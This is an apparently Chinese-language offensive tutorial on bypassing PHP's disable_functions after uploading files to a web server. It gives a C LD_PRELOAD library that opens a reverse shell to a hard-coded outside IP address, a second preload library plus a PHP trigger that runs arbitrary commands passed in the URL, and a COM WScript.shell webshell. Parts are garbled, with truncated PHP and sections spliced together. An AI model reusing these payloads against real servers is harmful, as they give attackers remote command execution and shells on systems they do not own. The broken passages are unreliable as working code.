如果遇到PHP禁用了一大批危险函数比如 system, exec, shell_exec, passthrough 等情况,但是可以上传任意文件,并且能知道上传位置的情况。

可以用三种方法绕过

  1. LD_PRELOAD绕过

方法A. mail函数调用劫持getuid()

bypass.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/shm.h>
void sh() {
int sockfd, n,rec_len;
struct sockaddr_in servaddr;
int * a[1];
a[0] = NULL;

sockfd = socket(AF\_INET, SOCK\_STREAM, 0);

memset(&servaddr, 0, sizeof(servaddr)); 
servaddr.sin\_family = AF\_INET; 
servaddr.sin\_port = htons(787); 
inet\_pton(AF\_INET, "42.159.5.246", &servaddr.sin\_addr);


connect(sockfd, (struct sockaddr\*)&servaddr, sizeof(servaddr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/bash", NULL, a);

}
int __attribute__((constructor)) test1() {
if (getenv(“LD_PRELOAD”) == NULL) { return 0; }
unsetenv(“LD_PRELOAD”);
sh();
}

编译成so文件

gcc -fPIC bypass.c -shared -o bypass.so

上传编译好的文件后,执行php代码

指定好so文件的路径,然后执行就完事了

方法B. mail()方法优化魔改版

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv(“EVIL_CMDLINE”);

// unset environment variable LD\_PRELOAD.
// unsetenv("LD\_PRELOAD") no effect on some 
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ\[i\]; ++i) {
        if (strstr(environ\[i\], "LD\_PRELOAD")) {
                environ\[i\]\[0\] = '\\0';
        }
}

// executive command
system(cmdline);

}

编译

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

上传后执行php文件

example: http://site.com/bypass\_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass\_disablefunc\_x64.so

"; $cmd = $\_GET\["cmd"\]; $out\_path = $\_GET\["outpath"\]; $evil\_cmdline = $cmd . " > " . $out\_path . " 2>&1"; echo "

cmdline: " . $evil\_cmdline . "

"; putenv("EVIL\_CMDLINE=" . $evil\_cmdline); $so\_path = $\_GET\["sopath"\]; putenv("LD\_PRELOAD=" . $so\_path); mail("", "", "", ""); echo "

output:
" . nl2br(file\_get\_contents($out\_path)) . "

"; unlink($out\_path); ?>

访问该PHP文件并附带example中的参数执行。

2.pcntl_exec 绕过

pcntl_exec 函数,也可以执行命令,但是没有回显

; allow Distributed-COM calls
; http://php.net/com.allow-dcom
com.allow_dcom = true
然后在php/ext/里面查找是否存在php\_com\_dotnet.dll这个文件。 再到php.ini中查看是否存在extension=php\_com\_dotnet.dll这项,有的话去掉注释开启,否则直接添加上去即可。 重启服务,在phpinfo中查看是否开启了: ![](/images/3.png) ### Bypass 前提通过phpinfo知道disable\_functions选项如下:
disable_functions = exec,system,passthru,shell_exec,proc_open,popen,dl,
此时在Web服务器中写入任意的以上函数的WebShell都是无法执行命令的。 上传comshell.php至Web服务器中:
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
这里创建一个COM对象,然后通过调用COM对象的exec()方法来实现执行系统命令,从而绕过disable\_functions禁用PHP命令执行函数的限制: ![](/images/4.png)   参考资料: 长亭内部文档  [PHP 绕过 disable functions - 安全服务 - Confluence.webarchive](https://wp.jinzz.cc/wp-content/uploads/2020/07/PHP-绕过-disable-functions-安全服务-Confluence.webarchive.zip) https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/